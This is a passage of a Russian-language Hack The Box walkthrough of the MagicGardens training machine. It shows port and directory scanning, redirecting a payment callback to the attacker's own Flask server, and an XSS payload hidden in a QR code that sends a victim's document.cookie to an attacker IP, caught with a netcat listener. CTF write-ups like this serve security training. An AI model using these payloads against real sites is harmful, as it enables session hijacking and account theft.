Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Переполнение буфера — классическая уязвимость, знание которой по‑прежнему иногда пригождается. Но прежде чем доберемся до уязвимого приложения, захватим админку Django, украв куки через XSS. Также нам предстоит провести атаку через механизм Pickle в Python и сбежать из Docker.
Наша главная цель — получение прав суперпользователя на машине MagicGardens с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /etc/hosts
:
10.10.11.9 magicgardens.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Результат работы скрипта
Сканер нашел четыре открытых порта:
Docker Registry использует HTTP-аутентификацию, учетных данных от SSH у нас пока нет, поэтому начинаем с изучения доступного нам веб‑сайта.
Главная страница сайта
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch, DIRB или ffuf. Я предпочитаю feroxbuster.
При запуске указываем следующие параметры:
-u
— URL; -w
— словарь (я использую словари из набора SecLists); -t
— количество потоков; -d
— глубина сканирования. Задаем все параметры и запускаем сканирование:
feroxbuster -u http://magicgardens.htb/ -w directory_2.3_medium_lowercase.txt -d 1 -t 128
Результат сканирования каталогов
В числе прочего находим админку Django на странице /admin
.
Содержимое страницы /admin
Также на сайте есть возможность авторизации и регистрации.
Форма авторизации
Авторизованному пользователю всегда доступно больше возможностей, поэтому сразу же регистрируемся. Теперь нам доступны такие функции, как выбор товаров и даже система подписки — что‑то вроде получения постоянной скидки на товары.
Страница Subscription
Сообщение о запросе подписки
Судя по сообщению на странице, после подтверждения банка мы должны были получить QR-код, однако ничего такого не произошло. А еще при выборе товара нам придет сообщение от какого‑то morty, который говорит, что если отправим ему QR-код, то получим свою скидку.
Входящие сообщения
Перейдем к Burp History и пройдемся по запросам в поисках чего‑нибудь аномального и интересного. Например, в запросе к банку в параметре bank
указан какой‑то адрес.
Запрос в Burp History
Запустим листенер на порте 80, перенаправим запрос в Burp Repeater и укажем в параметре bank
адрес своего сервера.
Запрос в Burp Repeater
Логи листенера
Листенер засечет HTTP-запрос с сервера. Так как никакого ответа мы не отправили, на сервере отображено не такое сообщение, как раньше.
Сообщение о недоступности банка
То есть, если мы ответим серверу, сможем получить нужный QR-код.
Сделаем на Python сервер, который будет отвечать на запрос к /api/payments/
.
from flask import Flask, jsonify, requestapp = Flask(__name__)@app.route('/api/payments/', methods=['POST'])def func_payment(): r_json = request.get_json() r_json['status'] = "200" return jsonify(r_json)app.run(host='0.0.0.0', port=80, debug=True)
Запускам код, а затем повторяем запрос с подменой адреса своим.
Логи сервера
Сообщение на странице
Теперь получаем сообщение, что подписка в обработке, а при обновлении страницы появляется желанный QR-код.
Страница Subscription
Расшифруем QR-код, чтобы понимать, какие данные он хранит.
Декодированный QR-код
Скорее всего, morty проверяет имя пользователя, когда декодирует QR-код. Попробуем вместо имени аккаунта подставить код на JavaScript. Превратить его в QR можно при помощи онлайнового генератора.
3cca634013591eb51173fb6207572e37.0d341bcdc6746f1d452b3f4de32357b9.<img src=x onerror=this.src='http://10.10.16.51/?c='+document.cookie>
Этот код отправит на наш сервер cookie пользователя. Запускаем листенер (nc -nlvp 80
) и отправляем в ответном сообщении пользователю morty сгенерированный QR-код. Почти сразу получаем запрос с сессионным идентификатором пользователя.
Логи листенера
Источник: xakep.ru